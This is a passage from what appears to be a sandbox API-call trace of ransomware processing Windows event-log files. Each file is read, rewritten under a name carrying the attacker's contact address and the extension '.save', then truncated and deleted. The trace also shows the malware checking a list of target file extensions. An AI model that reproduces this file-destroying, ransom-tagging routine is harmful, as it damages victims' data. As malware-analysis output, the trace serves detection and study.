(lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0065.206] GetLastError () returned 0x0 [0065.206] ReadFile (in: hFile=0x368, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x11000, lpOverlapped=0x0) returned 1 [0065.210] WriteFile (in: hFile=0x39c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x11010, lpOverlapped=0x0) returned 1 [0065.212] ReadFile (in: hFile=0x368, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.212] WriteFile (in: hFile=0x39c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x122, lpOverlapped=0x0) returned 1 [0065.212] SetEndOfFile (hFile=0x39c) returned 1 [0065.212] CloseHandle (hObject=0x39c) returned 1 [0065.214] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.214] SetEndOfFile (hFile=0x368) returned 1 [0065.216] CloseHandle (hObject=0x368) returned 1 [0065.216] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0065.216] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 1 [0065.216] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0065.216] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0065.216] lstrlenW (lpString=".doc") returned 4 [0065.216] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.216] lstrlenW (lpString=".docx") returned 5 [0065.216] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.216] lstrlenW (lpString=".pdf") returned 4 [0065.216] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.216] lstrlenW (lpString=".xls") returned 4 [0065.217] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.217] lstrlenW (lpString=".xlsx") returned 5 [0065.217] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.217] lstrlenW (lpString=".ppt") returned 4 [0065.217] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.217] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0065.217] lstrlenW (lpString=".zip") returned 4 [0065.217] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.217] lstrlenW (lpString=".rar") returned 4 [0065.217] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.217] lstrlenW (lpString=".bz2") returned 4 [0065.217] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.217] lstrlenW (lpString=".7z") returned 3 [0065.217] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.217] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0065.217] lstrlenW (lpString=".dbf") returned 4 [0065.217] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.217] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0065.217] lstrlenW (lpString=".1cd") returned 4 [0065.217] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.217] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0065.217] lstrlenW (lpString=".jpg") returned 4 [0065.217] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.217] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0065.217] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0065.217] lstrlenW (lpString=".doc") returned 4 [0065.217] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.217] lstrlenW (lpString=".docx") returned 5 [0065.218] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.218] lstrlenW (lpString=".pdf") returned 4 [0065.218] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.218] lstrlenW (lpString=".xls") returned 4 [0065.218] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.218] lstrlenW (lpString=".xlsx") returned 5 [0065.218] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.218] lstrlenW (lpString=".ppt") returned 4 [0065.218] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.218] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0065.218] lstrlenW (lpString=".zip") returned 4 [0065.218] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.218] lstrlenW (lpString=".rar") returned 4 [0065.218] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.218] lstrlenW (lpString=".bz2") returned 4 [0065.218] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.218] lstrlenW (lpString=".7z") returned 3 [0065.218] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.218] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0065.218] lstrlenW (lpString=".dbf") returned 4 [0065.218] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.219] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0065.219] lstrlenW (lpString=".1cd") returned 4 [0065.219] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.219] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0065.219] lstrlenW (lpString=".jpg") returned 4 [0065.219] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.219] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0065.219] lstrlenW (lpString="Microsoft-Windows-Store%4Operational.evtx") returned 41 [0065.219] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0065.220] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=69632) returned 1 [0065.220] CloseHandle (hObject=0x368) returned 1 [0065.220] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 0x20 [0065.220] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0065.220] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0065.220] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.220] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.220] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0065.220] GetLastError () returned 0x0 [0065.221] ReadFile (in: hFile=0x368, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x11000, lpOverlapped=0x0) returned 1 [0065.223] WriteFile (in: hFile=0x39c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x11010, lpOverlapped=0x0) returned 1 [0065.225] ReadFile (in: hFile=0x368, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.225] WriteFile (in: hFile=0x39c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x126, lpOverlapped=0x0) returned 1 [0065.225] SetEndOfFile (hFile=0x39c) returned 1 [0065.225] CloseHandle (hObject=0x39c) returned 1 [0065.228] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.228] SetEndOfFile (hFile=0x368) returned 1 [0065.230] CloseHandle (hObject=0x368) returned 1 [0065.230] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0065.230] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 1 [0065.230] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0065.230] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0065.230] lstrlenW (lpString=".doc") returned 4 [0065.231] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.231] lstrlenW (lpString=".docx") returned 5 [0065.231] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.231] lstrlenW (lpString=".pdf") returned 4 [0065.231] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.231] lstrlenW (lpString=".xls") returned 4 [0065.231] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.231] lstrlenW (lpString=".xlsx") returned 5 [0065.231] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.231] lstrlenW (lpString=".ppt") returned 4 [0065.231] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.231] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0065.231] lstrlenW (lpString=".zip") returned 4 [0065.231] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.231] lstrlenW (lpString=".rar") returned 4 [0065.231] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.231] lstrlenW (lpString=".bz2") returned 4 [0065.231] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.231] lstrlenW (lpString=".7z") returned 3 [0065.231] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.231] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0065.231] lstrlenW (lpString=".dbf") returned 4 [0065.231] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.231] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0065.231] lstrlenW (lpString=".1cd") returned 4 [0065.231] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.231] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0065.231] lstrlenW (lpString=".jpg") returned 4 [0065.232] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.232] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0065.232] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0065.232] lstrlenW (lpString=".doc") returned 4 [0065.232] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.232] lstrlenW (lpString=".docx") returned 5 [0065.232] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.232] lstrlenW (lpString=".pdf") returned 4 [0065.232] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.232] lstrlenW (lpString=".xls") returned 4 [0065.232] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.232] lstrlenW (lpString=".xlsx") returned 5 [0065.232] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.232] lstrlenW (lpString=".ppt") returned 4 [0065.232] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.232] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0065.232] lstrlenW (lpString=".zip") returned 4 [0065.232] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.232] lstrlenW (lpString=".rar") returned 4 [0065.232] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.232] lstrlenW (lpString=".bz2") returned 4 [0065.232] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.232] lstrlenW (lpString=".7z") returned 3 [0065.232] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.232] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0065.232] lstrlenW (lpString=".dbf") returned 4 [0065.232] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.232] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0065.232] lstrlenW (lpString=".1cd") returned 4 [0065.232] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.232] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0065.232] lstrlenW (lpString=".jpg") returned 4 [0065.232] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.233] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0065.233] lstrlenW (lpString="Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 49 [0065.233] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0065.233] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=69632) returned 1 [0065.233] CloseHandle (hObject=0x368) returned 1 [0065.233] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 0x20 [0065.233] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0065.233] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0065.233] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.234] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.234] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0065.235] GetLastError () returned 0x0 [0065.235] ReadFile (in: hFile=0x368, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x11000, lpOverlapped=0x0) returned 1 [0065.238] WriteFile (in: hFile=0x39c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x11010, lpOverlapped=0x0) returned 1 [0065.240] ReadFile (in: hFile=0x368, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.240] WriteFile (in: hFile=0x39c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x136, lpOverlapped=0x0) returned 1 [0065.240] SetEndOfFile (hFile=0x39c) returned 1 [0065.240] CloseHandle (hObject=0x39c) returned 1 [0065.243] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.243] SetEndOfFile (hFile=0x368) returned 1 [0065.244] CloseHandle (hObject=0x368) returned 1 [0065.244] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0065.244] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 1 [0065.245] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0065.245] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0065.245] lstrlenW (lpString=".doc") returned 4 [0065.245] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.245] lstrlenW (lpString=".docx") returned 5 [0065.245] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.245] lstrlenW (lpString=".pdf") returned 4 [0065.245] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.245] lstrlenW (lpString=".xls") returned 4 [0065.245] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.245] lstrlenW (lpString=".xlsx") returned 5 [0065.245] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.245] lstrlenW (lpString=".ppt") returned 4 [0065.245] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.245] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0065.245] lstrlenW (lpString=".zip") returned 4 [0065.245] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.245] lstrlenW (lpString=".rar") returned 4 [0065.245] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.246] lstrlenW (lpString=".bz2") returned 4 [0065.246] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.246] lstrlenW (lpString=".7z") returned 3 [0065.246] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.246] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0065.246] lstrlenW (lpString=".dbf") returned 4 [0065.246] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.246] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0065.246] lstrlenW (lpString=".1cd") returned 4 [0065.246] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.246] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0065.246] lstrlenW (lpString=".jpg") returned 4 [0065.246] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.246] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0065.246] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0065.246] lstrlenW (lpString=".doc") returned 4 [0065.246] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.246] lstrlenW (lpString=".docx") returned 5 [0065.246] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.246] lstrlenW (lpString=".pdf") returned 4 [0065.246] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.246] lstrlenW (lpString=".xls") returned 4 [0065.246] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.246] lstrlenW (lpString=".xlsx") returned 5 [0065.246] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.247] lstrlenW (lpString=".ppt") returned 4 [0065.247] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.247] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0065.247] lstrlenW (lpString=".zip") returned 4 [0065.247] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.247] lstrlenW (lpString=".rar") returned 4 [0065.247] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.247] lstrlenW (lpString=".bz2") returned 4 [0065.247] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.247] lstrlenW (lpString=".7z") returned 3 [0065.247] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.247] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0065.247] lstrlenW (lpString=".dbf") returned 4 [0065.247] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.247] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0065.247] lstrlenW (lpString=".1cd") returned 4 [0065.247] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.247] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0065.247] lstrlenW (lpString=".jpg") returned 4 [0065.247] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.247] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0065.247] lstrlenW (lpString="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 66 [0065.248] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0065.248] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=69632) returned 1 [0065.248] CloseHandle (hObject=0x368) returned 1 [0065.248] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 0x20 [0065.248] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0065.248] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0065.248] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.248] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.249] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0065.249] GetLastError () returned 0x0 [0065.249] ReadFile (in: hFile=0x368, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x11000, lpOverlapped=0x0) returned 1 [0065.766] WriteFile (in: hFile=0x39c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x11010, lpOverlapped=0x0) returned 1 [0065.768] ReadFile (in: hFile=0x368, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.770] WriteFile (in: hFile=0x39c, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x158, lpOverlapped=0x0) returned 1 [0065.770] SetEndOfFile (hFile=0x39c) returned 1 [0065.770] CloseHandle (hObject=0x39c) returned 1 [0065.773] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.773] SetEndOfFile (hFile=0x368) returned 1 [0065.774] CloseHandle (hObject=0x368) returned 1 [0065.774] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0065.775] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: 